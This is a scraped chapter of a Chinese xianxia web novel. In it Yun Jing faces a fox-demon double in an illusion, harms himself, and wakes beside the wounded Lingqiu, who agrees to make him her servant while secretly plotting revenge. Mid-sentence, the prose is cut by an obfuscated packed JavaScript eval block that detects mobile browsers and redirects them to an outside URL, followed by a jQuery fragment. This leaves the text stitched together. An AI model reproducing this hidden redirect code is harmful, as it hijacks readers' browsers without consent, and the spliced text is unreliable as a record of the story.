21.万丈崖底破念成执(3)

作品:《某天,大魔头成了正道魁首

    “不可能。”


    云靖下意识举起手,这才发觉自己掌心空空,凝霜剑早已不知去处。


    眼前,灵秋提起召雪,刀锋直指向他心口。她的眼神陌生而冷漠,仿佛从未认识过他。


    “这到底是什么地方?”


    云靖朝着虚空发问。


    他记得自己明明应该在万丈崖底,手心柔软的触感明明还那样清晰。


    “我是谁并不重要,重要的是她会杀你。”


    那声音低沉缱绻,如水波轻荡,渐渐凝实。


    云靖猛地转身,只见缥缈的雾气中,一道身影缓缓走来,步履从容、气息优雅,如同远离人间烟火的鬼魅。


    他皱眉:“你是谁?”


    那人渐渐走近了,穿过透而轻薄的白雾,云靖清晰看见了他的轮廓。一瞬间,他瞳孔骤缩,连呼吸都仿佛立时停滞。


    那这脸,那双眼睛,侧脸那道被灵秋挥剑划伤的留疤,甚至连嘴角微翘的弧度……全都一模一样。


    不,不只是声音,这幅容貌……


    他根本就是自己。


    是,却又不是。


    那人立在他面前,嘴角噙着意味不明的冷笑,狭长的眼睛微微上挑,眼角眉梢泛着近乎魅惑的红,金绿色的光在瞳中幽幽浮动,散发出如毒蛇吐信般危险的意味。


    他头顶,雪白的尖耳从墨色中探出,在死一般静谧的空气中轻轻颤动着。身后,狐尾舒展,如云雾翻涌。


    妖气氤氲,似轻纱流转,在他脚边微微游曳,张扬地宣告着他的身份。


    云靖看着他,像看着一面诡异无比的镜子,镜中人似人似妖,却有着从未见过的从容与力量。


    “妖物何故冒充我?”


    他后退一步,试图调动灵力攻向他,灵脉却似结冻般艰涩,使不出半分法力。


    “错了。”狐妖倾身向他,眼神似笑非笑,带着摄人心魄的蛊惑,“我就是你,未来的你,或者说——真实的你。”


    “不可能,我是人。”云靖冷笑道:“你不过是这万丈崖底凶阵创造出来的幻影罢了。”


    他盘腿坐在地上,开始默念清心咒。


    “你不相信我?”


    狐妖抬手,轻轻朝他一点。瞬间,云靖只觉体内一阵刺痛,紧接着,陌生的妖力如潮水般自他灵台深处滚滚溢出。


    他的指尖悄然化作锋利的爪,肌肤泛起深红色的纹路,如同某种烧伤般触目惊心。漆黑的瞳孔逐渐闪动出妖冶的金绿,长发披散,在无风的空间内狂舞飘荡。


    云靖抬起手,骤然触及到头顶一对柔软的东西,透过眼前狐妖诡魅的瞳孔,他清晰地看到,那是一对雪白如霜的立耳。


    雾色笼罩,剧烈的痛楚折磨下,那张熟悉的脸变得妖冶而魅惑,勾魂摄魄,妍丽得几近非人。


    不,这不是他。


    妖气,铺天盖地的妖气连同恐惧一起,自他体内源源不断地涌出。


    狐妖的声音在耳边响起:“如果你不是妖,为什么会痛?为什么会怕?又为什么会变成现在这副模样?”


    他指向一旁的灵秋:“你不信我,难道还不信她吗?你看着吧,看看她会怎么对你!”


    言语间,召雪的利光划破雾气,执刀的人朝他步步逼近。


    “……凌秋?”


    云靖轻轻呼唤她的名字,下一刻,召雪毫不迟疑地捅进了他的心口。


    “妖物该死。”灵秋冷漠地说。


    “不……我不是,我不是妖。”


    云靖握上召雪,粘稠的血顺着刀锋滑下,他任由锋利的刀一点点深深刺入血肉,一步步走到她面前,重复道:“我不是妖,不是。”


    身后狐尾如天幕散开,耳边是嘈杂而喧闹的人声。四周景致一瞬转变,太霄辰宫大殿前,妖气翻涌,利爪尖牙。


    灵秋看着他,眉目森冷,手中召雪寒光胜霜:“师兄,我曾深信你为人,没想到事到如今你还在狡辩。如此不知悔改,实在该死。我身为正道魁首,你我注定势不两立,今日我就要为太霄辰宫清理门户,取你性命!”


    噗嗤——


    召雪落下,血溅如雨。


    “不要!”


    云靖捂着胸口,跪倒在地上,剧痛仿佛要将灵魂撕裂。他挣扎着,却被无形之物牢牢锁住。


    空气里没有半分血腥味,方才的一切不过是场幻觉。


    狐妖蹲在他面前,抬起他的下巴,声音婉转而低柔:“你终究还是害怕与她反目成仇,怕她心里从来都没有过你,哪怕是半分……”


    他轻手拭去云靖眼角滑落的泪,声音一瞬变得狰狞:“可这都是真的!未来就是这样!”


    凝霜剑在他手中成形,狐妖将剑递给云靖,轻声引诱:“先下手为强。”


    云靖没有接。


    “杀了她!”狐妖激动道:“她已经动手杀你一次了,你还在犹豫什么?”


    云靖垂着头,浑身都在止不住地发抖。


    幻境仿佛还未散去,他仍记得那一刀。


    她握刀的手那样坚定,看他的眼神那样冷漠,如同过去三年被她抛弃后,太虚宫冰冷的长阶前,最深最黑的噩梦,如同方才密林间初见她时,那道直冲他而来的、冷漠的剑风。


    云靖的心被沉沉的绝望拖拽着,彻底坠向无底的深渊。


    狐妖怒道:“她会杀你第二次、第三次……直到你彻底死去。你若再不动手,结局只有一个!”


    云靖握上剑柄,指节泛白,眼泪一滴滴砸在银光闪闪的剑身上,撞出清脆而细弱的声响。


    “我不是……我不是妖……”


    他举起剑毫不犹豫地朝自己挥去。可怖的血腥味在空气中弥散开来,头顶的两只耳朵砸到地上,雪白的狐狸毛被鲜血染红。


    难以忍受的剧痛排山倒海般袭来,如钻心剜骨。云靖的声音颤抖着,如溺水之人苦苦挣扎:“她不会唤我师兄,不会杀我,不会……”


    “可你在未来入了太霄辰宫就是会成为她的师兄。”


    狐妖冷眼旁观他自残的举动,嘲讽道:“到那时,你是想赌她的仁慈,还是你的命?”


    云靖忽然抬起头,眼中布满血丝与泪光,神情绝望至极。


    “我杀不了她!”


    下一刻,他猛地转身,一剑怒斩向狐妖。


    狐妖没有闪避,只是抬眸静静地望着他。那瞬间,没有嘲弄,没有怒火,没有轻蔑,那双金绿色的眼睛深处只有叹惋般沉甸甸的怜悯。


    凝霜落下,妖气四散,狐妖的身影如墨染般在雾气中溃散。最后一刻,他深深凝望着云靖,语气不紧不慢,却字字刺骨。


    “第一,她会拔得此次阳华仙会的头筹,来日必将一人之下,万人之上。”


    “第二,你体内妖气封印必会因她而碎,狐妖身份定会为天下正道所不容。”


    “第三,你与她此生有缘无分,来日她必将你亲手斩于刀下。”


    “我言尽于此,你好自为之……”


    说罢,他的身影彻底化作白雾,散入虚空。


    云靖跪倒在地上,手中长剑滴血,泪水早已模糊了视线。


    “云靖?”


    耳边传来人声,他猛地睁开眼。


    胸口像被撕裂般疼痛,意识仿佛还漂浮在幻梦与现实之间。他剧烈喘息着,一时不知身在何处。


    眼前,灵秋正跪在他身边,脸上沾满了血,不知是她自己的,还是别人的。


    她捧着他的脸拼命摇晃,像是要把他从该死的幻境中晃出来。


    凝霜剑斜斜插在远处,更远的地方,昏迷的兰翘安然躺在树下,身边环绕着一圈又一圈护体结界。


    “云靖,云靖,你听得见吗?醒醒……醒过来!”


    灵秋拍了拍他的脸,嗓音中是从未有过的疲惫与沮丧,见他目光依旧涣散,深深叹出口气,终于站起身子。


    她正准备去察看下一个人,手腕却突然被他拽住。


    云靖怔怔地看着她,仿佛大梦初醒。


    “……凌秋?”他喃喃唤她,像是梦呓。


    灵秋愣了一下,快速眨了两下眼睛,仿佛强压下什么情绪,语气却很冷静:“你中了幻境迷障。”


    云靖感觉指尖摸到某种粘稠的液体,他低头一看,赫然瞧见灵秋手腕上那道触目惊心的伤口。


    她的灵脉上有数道伤口,正在齐齐往外淌血,最重最新的那道伤口上还残留着凝霜的剑气。


    刹那间,记忆如潮水般倒灌回脑。


    他在幻境之中割下自己的狐耳,拼命挥剑斩向狐妖,所作所为在她眼中分明是疯狂的自残。


    不远处,游观青和苏韫珩并排靠在树下,显然已经力竭。他们的眼睛大大睁着,却显示出迷蒙的灰败,显然依旧沉浸在幻境里。


    二人周围被人布下密密麻麻的禁锢结界,阵仗大得像是镇压凶兽。


    究竟发生了什么已经不言自明。


    云靖抬手轻轻抚上灵秋的脸,这才发现她浑身上下都是符咒与刀剑留下的伤痕。


    三人之中,只有他一个剑修。


    心底有什么东西在这瞬间轰然下坠。


    “不……不是这样的。”他急切地撑起身子,却因力竭虚脱一头栽倒,勉强撑住,“我、我不是故意的,对不起,对不起……我刚才看见……我看见你……我、我……”


    话说到一半,他便哽咽起来,泪水就像断了线的珍珠,一颗一颗砸在灵秋的手背上。


    “对不起……我以为刚刚那是真的……我不知道,对不起……”


    他颤抖着替她擦去脸上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337324|166455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的血污,颤抖着往她手腕上的伤口输送灵力,体内灵脉艰涩的疼痛却比不上心头痛楚的万之一二。


    “我伤到你了……我一定是疯了……我怎么能伤你……我怎么敢……”


    他的声音越来越小,眼神越发绝望。


    嘶吼声,战斗声,几人在幻术中自相残杀的情景仿佛还历历在目。一片混沌中,只有她一个清醒的人,与他们缠斗不休,直至力竭。


    “都怪我,都是因为我修为不精,才会被幻境迷惑。”


    灵秋看着手腕上缓慢愈合的伤口,冷硬道:“你知道就好。”


    “我也是第一次碰到这种事。”她淡淡地说:“一回生二回熟,下次就先把你们全部砸晕。”


    天知道她刚才有多绝望。只差一点,就一点,她就忍不住要对这三个人痛下杀手了。


    可是不行。


    她还有更重要的事要办。


    杀人也要有个先来后到。


    闻人氏、宋氏,她要一个一个,一家一家地杀过去。


    灵秋吸了吸鼻子,强迫自己冷静。


    她低着头,云靖的心脏猛地一紧。


    周遭像是骤然空白了。


    他以为她委屈到了极点,强撑着,终于露出一丝破绽。


    云靖胸口顿时泛起一阵酸意,像被人持刀亲手剖开。他没有说话,只是颤着手微微倾身,轻轻抱住了她。


    这是一个很轻很轻,几乎察觉不出的拥抱。他没用力,只敢将她慢慢拉近怀里,小心翼翼地、生怕碰到她的伤口。


    “对不起……”他的声音哑得不像话,“都怪我。”


    灵秋整个人如遭雷击般僵在原地,不知作何反应。


    他们的关系什么时候好到这种地步了?


    整个逍遥派也就只有大师姐和小师妹这样抱过她而已。


    她正想从云靖怀中抽开,忽然之间,他的手轻轻抚过她的后背,一下下拍着,如同某种无声的安慰。


    他轻轻哄她:“没关系……我知道你很委屈,这件事都怪我,都怪我们,都是我们的错,你要是气不过,我乖乖让你刺回来,多少剑都可以,好不好?”


    说着,他挥手召来凝霜,果真摆出一副任打任骂的模样。


    灵秋怔在原地。


    其实也没那么委屈。


    但她实在没想到他居然会愧疚到这种程度。


    心脏某处忽然被什么东西轻轻敲打了一下,灵秋安静了几秒,低声说:“你真的,什么肯都听我的?”


    云靖一愣:“当然。”


    灵秋举起左手,在他眼前活泼地晃了几下:“那你现在就给我把这个莫名其妙的东西解开。”


    “好。”


    云靖吸了一口气,施法解了两人手上的千里同心绳。


    灵秋靠在他肩上,畅快地晃了晃手,又道:“除了这件事,你可还愿意听我的话?”


    “愿意。”云靖点点头。


    “那么从今天起,你就是我的仆人。我让你往东,你决不能往西,我要你做什么你就得做什么,不许有二心,更不许有疑议。如何?”


    灵秋从他怀中撤出,半眯起眼睛盯着他,片刻,终于得到一句近乎微弱的“好。”


    她眉眼一弯,忍不住笑了。


    出了魔域十年,在逍遥派过了那么多年亲力亲为的苦日子,还是头一回拥有仆人。


    生活真是越过越好了。


    灵秋伸手,像揉小狗似的揉了揉云靖的头发:“从现在起,不许再用灵力替我疗伤。”


    云靖怔住了:“可是你伤得很重,若不及时医治……”


    “我说了,不许。”


    灵秋打断他,语气平静:“你刚刚才答应了我不能有疑议。”


    云靖望着她,像是想到什么,眼神渐渐软得一塌糊涂,连声音都小了几分。


    “你是担心我对吗?没关系的,我可以的。”


    他垂下眼睛:“还是……你还在生气吗?我刚刚那样……你是不是不想再欠我……”


    “不是。”


    灵秋心道:“要是伤都治好了,上去还怎么在所有人面前卖惨?不卖惨,又怎么能让人心服口服,方便她后续杀人放火呢?”


    然而这些话,灵秋是绝对不会告诉云靖的。


    她看着他渴望的表情,神色一顿,顺着他的话说,笑道:“我当然是关心你啊。”


    很好。


    就是这样。


    云靖慌乱地低下头,错开了她的目光。


    灵秋正松了口气,片刻,又听见他说:“你的裙子皱了,头发也乱了,我可以……”


    “不必,我觉得这样很好。”


    灵秋指了指旁边失去意识的三个人:“我们还是赶紧找路,带着他们上去吧。”